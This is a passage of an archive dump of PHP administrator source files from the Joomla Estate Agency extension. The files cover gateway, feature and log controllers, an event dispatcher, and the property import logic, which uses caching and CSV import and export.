require_once JPATH_COMPONENT_ADMINISTRATOR .
'/gateways/dispatcher.php';

/**
 * Gateway controller class.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       3.4
 */
class JeaControllerGateway extends JControllerForm
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration
settings.
	 *
	 * @see JControllerLegacy::__construct()
	 */
	public function __construct($config = array())
	{
		parent::__construct($config);
		$this->view_item .= '&type=' .
JFactory::getApplication()->input->getCmd('type');
	}

	/**
	 * Output current gateway logs
	 *
	 * @return void
	 */
	public function getLogs()
	{
		$gateway = $this->getGateway();

		// @var JApplicationWeb  $application

		$application = JFactory::getApplication();

		$application->setHeader('Content-Type',
'text/plain', true);
		$application->sendHeaders();
		echo $gateway->getLogs();

		$application->close();
	}

	/**
	 * Delete current gateway logs
	 *
	 * @return void
	 */
	public function deleteLogs()
	{
		$gateway = $this->getGateway();
		$gateway->deleteLogs();

		$this->getLogs();
	}

	/**
	 * Serve current gateway logs
	 *
	 * @return void
	 */
	public function downloadLogs()
	{
		JFactory::getApplication()->setHeader('Content-Disposition',
'attachment; filename="logs.txt"');
		$this->getLogs();
	}

	/**
	 * Return the current gateway
	 *
	 * @return JeaGateway
	 */
	protected function getGateway()
	{
		$model = $this->getModel('Gateway', 'JeaModel',
array('ignore_request' => false));
		$item = $model->getItem();
		$dispatcher = GatewaysEventDispatcher::getInstance();

		return $dispatcher->loadGateway($item);
	}
}
controllers/gateways.php000064400000005234151165726330011464
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Gateways controller class.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       3.4
 */
class JeaControllerGateways extends JControllerAdmin
{
	/**
	 * Ask the gateways to execute their export handlers
	 *
	 * @return  void
	 */
	public function export()
	{
		$this->gatewaysExecute('export');
	}

	/**
	 * Ask the gateways to execute their import handlers
	 *
	 * @return  void
	 */
	public function import()
	{
		$this->gatewaysExecute('import');
	}

	/**
	 * Ask the gateways to execute their action handlers
	 *
	 * @param   string  $task  Action to execute
	 *
	 * @return  void
	 */
	protected function gatewaysExecute($task)
	{
		// Check for request forgeries.
		JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));

		$application = JFactory::getApplication();
		$application->setHeader('Content-Type',
'text/plain', true);
		$application->sendHeaders();

		$interpreter =
JFactory::getApplication()->input->getString('php_interpreter',
'php');

		$matches = array();

		if (preg_match('/^([a-zA-Z0-9-_.\/]+)/', $interpreter,
$matches) !== false)
		{
			$interpreter = $matches[1];
		}

		if (strpos($interpreter, 'php') === false)
		{
			echo "PHP interpreter must contains 'php' in its
name";
			$application->close();
		}

		$command = ($task == 'export' ? $interpreter . ' '
				. JPATH_COMPONENT_ADMINISTRATOR . '/cli/gateways.php --export
--basedir="' . JPATH_ROOT . '" --baseurl="' .
JUri::root() . '"' :
				$interpreter . ' ' . JPATH_COMPONENT_ADMINISTRATOR .
'/cli/gateways.php --import --basedir="' . JPATH_ROOT .
'"');

		echo "> $command\n\n";

		$output = array();
		$return = 0;

		exec($command, $output, $return);

		if ($return > 0)
		{
			echo "Error\n";
		}

		foreach ($output as $line)
		{
			echo "$line\n";
		}

		$application->close();
	}

	/**
	 * Method to get a JeaModelGateway model object, loading it if required.
	 *
	 * @param   string  $name    The model name.
	 * @param   string  $prefix  The class prefix.
	 * @param   array   $config  Configuration array for model.
	 *
	 * @return  JeaModelGateway|boolean  Model object on success; otherwise
false on failure.
	 *
	 * @see JControllerForm::getModel()
	 */
	public function getModel($name = 'Gateway', $prefix =
'JeaModel', $config = array())
	{
		$model = parent::getModel($name, $prefix, $config);

		return $model;
	}
}
controllers/featurelist.php000064400000002073151165726330012165
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Featurelist controller class.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaControllerFeaturelist extends JControllerAdmin
{
	/**
	 * Method to get a JeaModelFeature model object, loading it if required.
	 *
	 * @param   string  $name    The model name.
	 * @param   string  $prefix  The class prefix.
	 * @param   array   $config  Configuration array for model.
	 *
	 * @return  JeaModelFeature|boolean  Model object on success; otherwise
false on failure.
	 *
	 * @see JControllerForm::getModel()
	 */
	public function getModel($name = 'Feature', $prefix =
'JeaModel', $config = array())
	{
		$model = parent::getModel($name, $prefix, $config);

		return $model;
	}
}
controllers/feature.php000064400000003416151165726350011275
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Feature controller class.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaControllerFeature extends JControllerForm
{
	/**
	 * The default view for the display method.
	 *
	 * @var string
	 */
	protected $view_list = 'featurelist';

	/**
	 * Gets the URL arguments to append to an item redirect.
	 *
	 * @param   integer  $recordId  The primary key id for the item.
	 * @param   string   $urlVar    The name of the URL variable for the id.
	 *
	 * @return  string  The arguments to append to the redirect URL.
	 *
	 * @see JControllerForm::getRedirectToItemAppend()
	 */
	protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
	{
		$feature = $this->input->getCmd('feature');
		$append  = parent::getRedirectToItemAppend($recordId, $urlVar);

		if ($feature)
		{
			$append .= '&feature=' . $feature;
		}

		return $append;
	}

	/**
	 * Method to get a JeaModelFeature model object, loading it if required.
	 *
	 * @param   string  $name    The model name.
	 * @param   string  $prefix  The class prefix.
	 * @param   array   $config  Configuration array for model.
	 *
	 * @return  JeaModelFeature|boolean  Model object on success; otherwise
false on failure.
	 *
	 * @see JControllerForm::getModel()
	 */
	public function getModel($name = 'Feature', $prefix =
'JeaModel', $config = array())
	{
		$model = parent::getModel($name, $prefix, $config);

		return $model;
	}
}
controllers/features.php000064400000010663151165726350011462
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Features controller class.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       2.0
 */
class JeaControllerFeatures extends JControllerLegacy
{
	/**
	 * Method to export features tables as CSV
	 *
	 * @return void
	 */
	public function export()
	{
		$application = JFactory::getApplication();
		$features = $this->input->get('cid', array(),
'array');

		if (!empty($features))
		{
			$config = JFactory::getConfig();
			$exportPath = $config->get('tmp_path') .
'/jea_export';

			if (JFolder::create($exportPath) === false)
			{
				$msg = JText::_('JLIB_FILESYSTEM_ERROR_FOLDER_CREATE') .
' : ' . $exportPath;
				$this->setRedirect('index.php?option=com_jea&view=features',
$msg, 'warning');
			}
			else
			{
				$xmlPath = JPATH_COMPONENT . '/models/forms/features/';
				$xmlFiles = JFolder::files($xmlPath);
				$model = $this->getModel();
				$files = array();

				foreach ($xmlFiles as $filename)
				{
					$matches = array();

					if (preg_match('/^[0-9]{2}-([a-z]*).xml/', $filename,
$matches))
					{
						$feature = $matches[1];

						if (in_array($feature, $features))
						{
							$form = simplexml_load_file($xmlPath . '/' . $filename);
							$table = (string) $form['table'];
							$files[] = array(
								'data' => $model->getCSVData($table),
								'name' => $table . '.csv'
							);
						}
					}
				}

				$zipFile = $exportPath . '/jea_export_' . uniqid() .
'.zip';
				$zip = JArchive::getAdapter('zip');
				$zip->create($zipFile, $files);

				$application->setHeader('Content-Type',
'application/zip', true);
				$application->setHeader('Content-Disposition',
'attachment; filename="jea_features.zip"', true);
				$application->setHeader('Content-Transfer-Encoding',
'binary', true);
				$application->sendHeaders();

				echo readfile($zipFile);

				// Clean tmp files
				JFile::delete($zipFile);
				JFolder::delete($exportPath);

				$application->close();
			}
		}
		else
		{
			$msg = JText::_('JERROR_NO_ITEMS_SELECTED');
			$this->setRedirect('index.php?option=com_jea&view=features',
$msg);
		}
	}

	/**
	 * Method to import data in features tables
	 *
	 * @return void
	 */
	public function import()
	{
		$application = JFactory::getApplication();
		$upload = JeaUpload::getUpload('csv');
		$validExtensions = array('csv', 'CSV',
'txt', 'TXT');

		$xmlPath = JPATH_COMPONENT . '/models/forms/features/';
		$xmlFiles = JFolder::files($xmlPath);
		$model = $this->getModel();
		$tables = array();

		// Retrieve the table names
		foreach ($xmlFiles as $filename)
		{
			$matches = array();

			if (preg_match('/^[0-9]{2}-([a-z]*).xml/', $filename,
$matches))
			{
				$feature = $matches[1];

				if (!isset($tables[$feature]))
				{
					$form = simplexml_load_file($xmlPath . '/' . $filename);
					$tables[$feature] = (string) $form['table'];
				}
			}
		}

		foreach ($upload as $file)
		{
			if ($file->isPosted() && isset($tables[$file->key]))
			{
				$file->setValidExtensions($validExtensions);
				$file->check();
				$fileErrors = $file->getErrors();

				if (!$fileErrors)
				{
					try
					{
						$rows = $model->importFromCSV($file->temp_name,
$tables[$file->key]);
						$msg =
JText::sprintf('COM_JEA_NUM_LINES_IMPORTED_ON_TABLE', $rows,
$tables[$file->key]);
						$application->enqueueMessage($msg);
					}
					catch (Exception $e)
					{
						$application->enqueueMessage($e->getMessage(),
'warning');
					}
				}
				else
				{
					foreach ($fileErrors as $error)
					{
						$application->enqueueMessage($error, 'warning');
					}
				}
			}
		}

		$this->setRedirect('index.php?option=com_jea&view=features');
	}

	/**
	 * Method to get a JeaModelFeatures model object, loading it if required.
	 *
	 * @param   string  $name    The model name.
	 * @param   string  $prefix  The class prefix.
	 * @param   array   $config  Configuration array for model.
	 *
	 * @return  JeaModelFeatures|boolean  Model object on success; otherwise
false on failure.
	 *
	 * @see JControllerForm::getModel()
	 */
	public function getModel($name = 'Features', $prefix =
'JeaModel', $config = array())
	{
		$model = parent::getModel($name, $prefix, $config);

		return $model;
	}
}
controllers/gateway.json.php000064400000004066151165726350012255
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

require_once JPATH_COMPONENT_ADMINISTRATOR .
'/gateways/dispatcher.php';

/**
 * Gateway controller class for AJAX requests.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 *
 * @since       3.4
 */
class JeaControllerGateway extends JControllerLegacy
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration
settings.
	 *
	 * @see JControllerLegacy::__construct()
	 */
	public function __construct($config = array())
	{
		parent::__construct($config);
		set_exception_handler(array('JeaControllerGateway',
'error'));
	}

	/**
	 * Custom Exception Handler
	 * displaying Exception in Json format
	 *
	 * @param   Exception  $e  An error exception
	 *
	 * @return  void
	 */
	public static function error($e)
	{
		$error = array(
			'error' => $e->getmessage(),
			'errorCode' => $e->getCode(),
			'trace' => $e->getTraceAsString(),
		);

		echo json_encode($error);
	}

	/**
	 * Ask the gateway to execute export
	 *
	 * @return  void
	 */
	public function export()
	{
		$this->gatewayExecute('export');
	}

	/**
	 * Ask the gateway to execute import
	 *
	 * @return  void
	 */
	public function import()
	{
		$this->gatewayExecute('import');
	}

	/**
	 * Ask the gateway to execute action
	 *
	 * @param   string  $task  Action to execute
	 *
	 * @return  void
	 */
	protected function gatewayExecute($task)
	{
		$model = $this->getModel('Gateway', 'JeaModel');
		$gateway = $model->getItem();
		$dispatcher = GatewaysEventDispatcher::getInstance();
		$dispatcher->loadGateway($gateway);

		if ($task == 'import')
		{
			$dispatcher->trigger('activatePersistance');
		}

		$responses = $dispatcher->trigger($task);

		echo isset($responses[0]) ? json_encode($responses[0]) : '{}';
	}
}
gateways/gateway.php000064400000007267151165726350010571 0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\CMS\Log\Log;

/**
 * The base class for all gateways
 *
 * @since  3.4
 */
abstract class JeaGateway extends JEvent
{
	/**
	 * A Registry object holding the parameters for the gateway
	 *
	 * @var Registry
	 */
	public $params = null;

	/**
	 * The id of the gateway
	 *
	 * @var string
	 */
	public $id = null;

	/**
	 * The provider of the gateway
	 *
	 * @var string
	 */
	public $provider = null;

	/**
	 * The title of the gateway
	 *
	 * @var string
	 */
	public $title = null;

	/**
	 * The gateway type
	 *
	 * @var string
	 */
	public $type = null;

	/**
	 * The gateway log file
	 *
	 * @var string
	 */
	protected $logFile = '';

	/**
	 * Constructor
	 *
	 * @param   object  $subject   The object to observe
	 * @param   array   $config    An optional associative array of
configuration settings.
	 */
	public function __construct(&$subject, $config = array())
	{
		if (isset($config['params']) &&
$config['params'] instanceof Registry)
		{
			$this->params = $config['params'];
		}

		if (isset($config['id']))
		{
			$this->id = $config['id'];
		}

		if (isset($config['type']))
		{
			$this->type = $config['type'];
		}

		if (isset($config['provider']))
		{
			$this->provider = $config['provider'] . '_' .
$this->id;
		}

		if (isset($config['title']))
		{
			$this->title = $config['title'];
		}

		$this->logFile = $this->type . '_' . $this->provider .
'.php';

		parent::__construct($subject);
	}

	/**
	 * Write a log message
	 *
	 * Status codes :
	 *
	 * EMERG = 0; // Emergency: system is unusable
	 * ALERT = 1; // Alert: action must be taken immediately
	 * CRIT = 2; // Critical: critical conditions
	 * ERR = 3; // Error: error conditions
	 * WARN = 4; // Warning: warning conditions
	 * NOTICE = 5; // Notice: normal but significant condition
	 * INFO = 6; // Informational: informational messages
	 * DEBUG = 7; // Debug: debug messages
	 *
	 * @param   string  $message  The log message
	 * @param   string  $status   See status codes above
	 *
	 * @return  void
	 */
	public function log($message, $status = '')
	{
		// A category name
		$cat = $this->provider;

		Log::addLogger(
			array('text_file' => $this->logFile),
			Log::ALL,
			$cat
		);

		$status = strtoupper($status);

		$levels = array(
			'EMERG' => Log::EMERGENCY,
			'ALERT' => Log::ALERT,
			'CRIT' => Log::CRITICAL,
			'ERR' => Log::ERROR,
			'WARN' => Log::WARNING,
			'NOTICE' => Log::NOTICE,
			'INFO' => Log::INFO,
			'DEBUG' => Log::DEBUG
		);

		$status = isset($levels[$status]) ? $levels[$status] : Log::INFO;

		Log::add($message, $status, $cat);
	}

	/**
	 * Output a message in CLI mode
	 *
	 * @param   string  $message  A message
	 *
	 * @return void
	 */
	public function out($message = '')
	{
		$application = JFactory::getApplication();

		if ($application instanceof JApplicationCli)
		{
			// @var JApplicationCli $application
			$application->out($message);
		}
	}

	/**
	 * Get logs
	 *
	 * @return string
	 */
	public function getLogs()
	{
		$file = JFactory::getConfig()->get('log_path') .
'/' . $this->logFile;

		if (JFile::exists($file))
		{
			return file_get_contents($file);
		}

		return '';
	}

	/**
	 * Delete logs
	 *
	 * @return boolean
	 */
	public function deleteLogs()
	{
		$file = JFactory::getConfig()->get('log_path') .
'/' . $this->logFile;

		if (JFile::exists($file))
		{
			return JFile::delete($file);
		}

		return false;
	}
}
gateways/dispatcher.php000064400000011540151165726350011243
0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * Custom Event dispatcher class for JEA gateways
 *
 * @since  3.4
 */
class GatewaysEventDispatcher extends JEventDispatcher
{
	/**
	 * Stores the singleton instance of the dispatcher.
	 *
	 * @var GatewaysEventDispatcher
	 */
	protected static $gInstance = null;

	/**
	 * Get unique Instance of GatewaysEventDispatcher
	 *
	 * @return GatewaysEventDispatcher
	 */
	public static function getInstance()
	{
		if (self::$gInstance === null)
		{
			self::$gInstance = new static;
		}

		return self::$gInstance;
	}

	/**
	 * Attach an observer object
	 *
	 * @param   object  $observer  An observer object to attach
	 *
	 * @return  void
	 */
	public function attach($observer)
	{
		if (! ($observer instanceof JeaGateway))
		{
			return;
		}

		/*
		 * The main difference with the parent method
		 * is to attach several instances of the same
		 * class.
		 */

		$this->_observers[] = $observer;
		$methods = get_class_methods($observer);

		end($this->_observers);
		$key = key($this->_observers);

		foreach ($methods as $method)
		{
			$method = strtolower($method);

			if (! isset($this->_methods[$method]))
			{
				$this->_methods[$method] = array();
			}

			$this->_methods[$method][] = $key;
		}
	}

	/**
	 * Triggers an event by dispatching arguments to all observers that handle
	 * the event and returning their return values.
	 *
	 * @param   string  $event  The event to trigger.
	 * @param   array   $args   An array of arguments.
	 *
	 * @return  array  An array of results from each function call.
	 */
	public function trigger($event, $args = array())
	{
		$result = array();
		$args = (array) $args;
		$event = strtolower($event);

		// Check if any gateways are attached to the event.
		if (!isset($this->_methods[$event]) ||
empty($this->_methods[$event]))
		{
			// No gateways associated to the event!
			return $result;
		}

		// Loop through all gateways having a method matching our event
		foreach ($this->_methods[$event] as $key)
		{
			// Check if the gateway is present.
			if (!isset($this->_observers[$key]))
			{
				continue;
			}

			if ($this->_observers[$key] instanceof JeaGateway)
			{
				try
				{
					$args['event'] = $event;
					$value = $this->_observers[$key]->update($args);
				}
				catch (Exception $e)
				{
					$application = JFactory::getApplication();
					$gateway = $this->_observers[$key];
					$gateway->log($e->getMessage(), 'err');

					if ($application instanceof JApplicationCli)
					{
						/*
						 * In CLI mode, output the error but don't stop the
						 * execution loop of other gateways
						 */

						$gateway->out('Error [' . $gateway->title . '] :
' . $e->getMessage());
					}
					else
					{
						/*
						 * In AJAX mode, only one gateway is loaded per request,
						 * so we can stop the loop.
						 * Exception will be catched later in a custom Exception handler
						 */
						throw $e;
					}
				}
			}

			if (isset($value))
			{
				$result[] = $value;
			}
		}

		return $result;
	}

	/**
	 * Load JEA gateways
	 *
	 * @param   string  $type  If set, must be 'export' or
'import'
	 *
	 * @return  void
	 */
	public function loadGateways($type = null)
	{
		$db = JFactory::getDbo();

		$query = $db->getQuery(true);
		$query->select('*');
		$query->from('#__jea_gateways');
		$query->where('published=1');

		if (! empty($type))
		{
			$query->where('type=' . $db->Quote($type));
		}

		$query->order('ordering ASC');
		$db->setQuery($query);
		$rows = $db->loadObjectList();

		foreach ($rows as $row)
		{
			$this->loadGateway($row);
		}
	}

	/**
	 * Load one JEA gateway
	 *
	 * @param   $object  $gateway  he row DB gateway
	 *
	 * @return  JeaGateway
	 *
	 * @throws  Exception if gateway cannot be loaded
	 */
	public function loadGateway($gateway)
	{
		$gatewayFile = JPATH_ADMINISTRATOR .
'/components/com_jea/gateways/providers/' . $gateway->provider
. '/' . $gateway->type . '.php';

		if (JFile::exists($gatewayFile))
		{
			require_once $gatewayFile;
			$className = 'JeaGateway' . ucfirst($gateway->type) .
ucfirst($gateway->provider);

			if (class_exists($className))
			{
				$dispatcher = static::getInstance();

				$config = array(
						'id' => $gateway->id,
						'provider' => $gateway->provider,
						'title' => $gateway->title,
						'type' => $gateway->type,
						'params' => new Registry($gateway->params)
				);

				return new $className($dispatcher, $config);
			}
			else
			{
				throw new Exception('Gateway class not found : ' .
$className);
			}
		}
		else
		{
			throw new Exception('Gateway file not found : ' .
$gatewayFile);
		}
	}
}
gateways/import.php000064400000032300151165726350010424 0ustar00<?php
/**
 * This file is part of Joomla Estate Agency - Joomla! extension for real
estate agency
 *
 * @package     Joomla.Administrator
 * @subpackage  com_jea
 * @copyright   Copyright (C) 2008 - 2020 PHILIP Sylvain. All rights
reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('_JEXEC') or die;

require_once JPATH_COMPONENT_ADMINISTRATOR .
'/gateways/gateway.php';

/**
 * The base class for import gateways
 *
 * @since  3.4
 */
abstract class JeaGatewayImport extends JeaGateway
{
	/**
	 * Delete Jea properties which are not included in the import set
	 *
	 * @var boolean
	 */
	protected $autoDeletion = true;

	/**
	 * Remember the last import
	 *
	 * @var boolean
	 */
	protected $persistance = false;

	/**
	 * The number of properties to import.
	 * Used to split the import in several requests (AJAX)
	 *
	 * @var integer
	 */
	protected $propertiesPerStep = 0;

	/**
	 * The number of properties created during import
	 *
	 * @var integer
	 */
	protected $created = 0;

	/**
	 * The number of properties updated during import
	 *
	 * @var integer
	 */
	protected $updated = 0;

	/**
	 * The number of properties created or imported during import
	 *
	 * @var integer
	 */
	protected $imported = 0;

	/**
	 * The number of properties removed during import
	 *
	 * @var integer
	 */
	protected $removed = 0;

	/**
	 * The number of properties that should be imported
	 *
	 * @var integer
	 */
	protected $total = 0;

	/**
	 * Array of properties already imported
	 *
	 * @var array
	 */
	protected $importedProperties = array();

	/**
	 * Constructor
	 *
	 * @param   object  $subject   The object to observe
	 * @param   array   $config    An optional associative array of
configuration settings.
	 */
	public function __construct(&$subject, $config = array())
	{
		parent::__construct($subject, $config);
		$this->autoDeletion = (bool)
$this->params->get('auto_deletion', 0);
	}

	/**
	 * Remember the last import
	 *
	 * @return void
	 */
	public function activatePersistance()
	{
		$this->persistance = true;
		$this->propertiesPerStep =
$this->params->get('properties_per_step', 5);
	}

	/**
	 * InitWebConsole event handler
	 *
	 * @return void
	 */
	public function initWebConsole()
	{
		JHtml::script('media/com_jea/js/admin/gateway.js');
		$title = addslashes($this->title);

		// Register script messages
		JText::script('COM_JEA_IMPORT_START_MESSAGE', true);
		JText::script('COM_JEA_IMPORT_END_MESSAGE', true);
		JText::script('COM_JEA_GATEWAY_PROPERTIES_FOUND', true);
		JText::script('COM_JEA_GATEWAY_PROPERTIES_CREATED', true);
		JText::script('COM_JEA_GATEWAY_PROPERTIES_UPDATED', true);
		JText::script('COM_JEA_GATEWAY_PROPERTIES_DELETED', true);

		$script = "jQuery(document).on('registerGatewayAction',
function(event, webConsole, dispatcher) {\n"
				. "    dispatcher.register(function() {\n"
				. "        JeaGateway.startImport($this->id,
'$title', webConsole);\n"
				. "    });\n"
				. "});";

		JFactory::getDocument()->addScriptDeclaration($script);
	}

	/**
	 * Method called before the import
	 * This could be overriden in child class
	 *
	 * @return void
	 */
	protected function beforeImport()
	{
	}

	/**
	 * Method called after the import
	 * This could be overriden in child class
	 *
	 * @return void
	 */
	protected function afterImport()
	{
	}

	/**
	 * The import handler method
	 *
	 * @return array the import summary
	 */
	public function import()
	{
		if ($this->persistance == true &&
$this->hasPersistentProperties())
		{
			$properties = $this->getPersistentProperties();
		}
		else
		{
			$this->beforeImport();
			$properties = & $this->parse();
		}

		$this->total = count($properties);

		if (empty($this->total))
		{
			// Do nothing if there is no properties
			return $this->getSummary();
		}

		$idsToRemove = array();

		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$query->select('*')->from('#__jea_properties');

		if (! empty($this->provider))
		{
			$query->where('provider=' .
$db->quote($this->provider));
		}

		$db->setQuery($query);
		$existingProperties = $db->loadObjectList();

		foreach ($existingProperties as $row)
		{
			if (isset($this->importedProperties[$row->ref]))
			{
				// Property already been imported
				continue;
			}

			if (isset($properties[$row->ref]) &&
$properties[$row->ref] instanceof JEAPropertyInterface)
			{
				if ($this->persistance == true &&
$this->propertiesPerStep > 0 && $this->updated ==
$this->propertiesPerStep)
				{
					break;
				}

				// Verify update time
				$date = new JDate($row->modified);

				if ($date->toUnix() < $properties[$row->ref]->modified)
				{
					// Update needed
					if ($properties[$row->ref]->save($this->provider,
$row->id))
					{
						$this->updated ++;
					}
				}

				$this->imported ++;
				$this->importedProperties[$row->ref] = true;
				unset($properties[$row->ref]);
			}
			elseif ($this->autoDeletion === true)
			{
				// Property not in the $imported_properties
				// So we can delete it if the autodeletion option is set to true
				$idsToRemove[] = $row->id;
			}
		}

		if ($this->autoDeletion === true)
		{
			// Remove outdated properties
			$this->removeProperties($idsToRemove);
		}

		foreach ($properties as $ref => $row)
		{
			if ($this->persistance == true && $this->propertiesPerStep
> 0 && ($this->updated + $this->created) ==
$this->propertiesPerStep)
			{
				break;
			}

			if ($row instanceof JEAPropertyInterface)
			{
				if ($row->save($this->provider))
				{
					$this->created ++;
					$this->importedProperties[$ref] = true;
				}
				else
				{
					$msg = "Property can't be saved : ";

					foreach ($row->getErrors() as $error)
					{
						$msg .= " $error\n";
					}

					$this->log($msg, 'WARN');
					JError::raiseNotice(200, "A property cant'be saved. See logs
for more infos");
				}
			}

			$this->imported ++;
			unset($properties[$ref]);
		}

		if ($this->persistance == true && ! empty($properties))
		{
			$this->setPersistentProperties($properties);
		}
		elseif ($this->persistance == true && empty($properties))
		{
			$this->cleanPersistentProperties();
		}

		if (empty($properties))
		{
			$msg = JText::sprintf('COM_JEA_IMPORT_END_MESSAGE',
$this->title)
				. '. [' .
JText::sprintf('COM_JEA_GATEWAY_PROPERTIES_FOUND',
$this->total)
				. ' - ' .
JText::sprintf('COM_JEA_GATEWAY_PROPERTIES_CREATED',
$this->created)
				. ' - ' .
JText::sprintf('COM_JEA_GATEWAY_PROPERTIES_UPDATED',
$this->updated)
				. ' - ' .
JText::sprintf('COM_JEA_GATEWAY_PROPERTIES_DELETED',
$this->removed)
				. ']';

			$this->out($msg);
			$this->log($msg, 'info');

			$this->afterImport();
		}

		return $this->getSummary();
	}

	/**
	 * Return import summary
	 *
	 * @return number[]
	 */
	protected function getSummary()
	{
		return array(
			'gateway_id' => $this->id,
			'gateway_title' => $this->title,
			'total' => $this->total,
			'created' => $this->created,
			'updated' => $this->updated,
			'imported' => $this->imported,
			'removed' => $this->removed
		);
	}

	/**
	 * The gateway parser method.
	 * This method must be overriden in child class
	 *
	 * @return JEAPropertyInterface[]
	 */
	protected function &parse()
	{
		$properties = array();

		return $properties;
	}

	/**
	 * Check for properties stored in cache
	 *
	 * @return boolean
	 */
	protected function hasPersistentProperties()
	{
		$cache = JFactory::getCache('jea_import', 'output',
'file');
		$cache->setCaching(true);
		$properties = $cache->get('properties');

		if (is_string($properties))
		{
			return true;
		}

		return false;
	}

	/**
	 * Get properties stored in cache
	 *
	 * @return array
	 */
	protected function getPersistentProperties()
	{
		$cache = JFactory::getCache('jea_import', 'output',
'file');
		$cache->setCaching(true);

		$infos = $cache->get('infos');

		if (is_string($infos))
		{
			$infos = unserialize($infos);
			$this->importedProperties = $infos->importedProperties;
		}

		$properties = $cache->get('properties');

		if ($properties === false)
		{
			return array();
		}

		return unserialize($properties);
	}

	/**
	 * Store properties in cache
	 *
	 * @param   JEAPropertyInterface[]  $properties  An array of
JEAPropertyInterface instances
	 *
	 * @return void
	 */
	protected function setPersistentProperties($properties = array())
	{
		$cache = JFactory::getCache('jea_import', 'output',
'file');
		$cache->setCaching(true);
		$cache->store(serialize($properties), 'properties');
		$infos = $cache->get('infos');

		if (! $infos)
		{
			$infos = new stdClass;
			$infos->total = $this->total;
			$infos->updated = $this->updated;
			$infos->removed = $this->removed;
			$infos->created = $this->created;
			$infos->imported = $this->imported;
			$infos->importedProperties = $this->importedProperties;
			$cache->store(serialize($infos), 'infos');
		}
		else
		{
			$infos = unserialize($infos);
			$infos->updated += $this->updated;
			$infos->removed += $this->removed;
			$infos->created += $this->created;
			$infos->imported += $this->imported;

			foreach ($this->importedProperties as $k => $v)
			{
				$infos->importedProperties[$k] = $v;
			}

			$cache->store(serialize($infos), 'infos');
		}

		// Update interface informations
		$this->total = $infos->total;
		$this->updated = $infos->updated;
		$this->removed = $infos->removed;
		$this->created = $infos->created;
		$this->imported = $infos->imported;
	}

	/**
	 * Remove properties stored in cache
	 *
	 * @return void
	 */
	protected function cleanPersistentProperties()
	{
		$cache = JFactory::getCache('jea_import', 'output',
'file');
		$cache->setCaching(true);
		$infos = $cache->get('infos');

		if (is_string($infos))
		{
			$infos = @unserialize($infos);

			// Update interface informations
			$this->total = $infos->total;
			$this->updated += $infos->updated;
			$this->removed += $infos->removed;
			$this->created += $infos->created;
			$this->imported += $infos->imported;
		}

		// Delete cache infos
		$cache->clean();
	}

	/**
	 * Remove JEA properties
	 *
	 * @param   array  $ids  An array of ids to remove
	 *
	 * @return boolean
	 */
	protected function removeProperties($ids = array())
	{
		if (empty($ids))
		{
			return false;
		}

		$dbo = JFactory::getDbo();
		$dbo->setQuery('DELETE FROM #__jea_properties WHERE id IN('
. implode(',', $ids) . ')');
		$dbo->execute();

		// Remove images folder
		foreach ($ids as $id)
		{
			if (JFolder::exists(JPATH_ROOT . '/images/com_jea/images/' .
$id))
			{
				JFolder::delete(JPATH_ROOT . '/images/com_jea/images/' .
$id);
			}
		}

		$this->removed = count($ids);

		return true;
	}

	/**
	 * Return the cache path for the gateway instance
	 *
	 * @param   boolean  $createDir  If true, the Directory will be created
	 *
	 * @return  string
	 */
	protected function getCachePath($createDir = false)
	{
		$cachePath = JFactory::getApplication()->get('cache_path',
JPATH_CACHE) . '/' . $this->type . '_' .
$this->provider;

		if (!JFolder::exists($cachePath) && $createDir)
		{
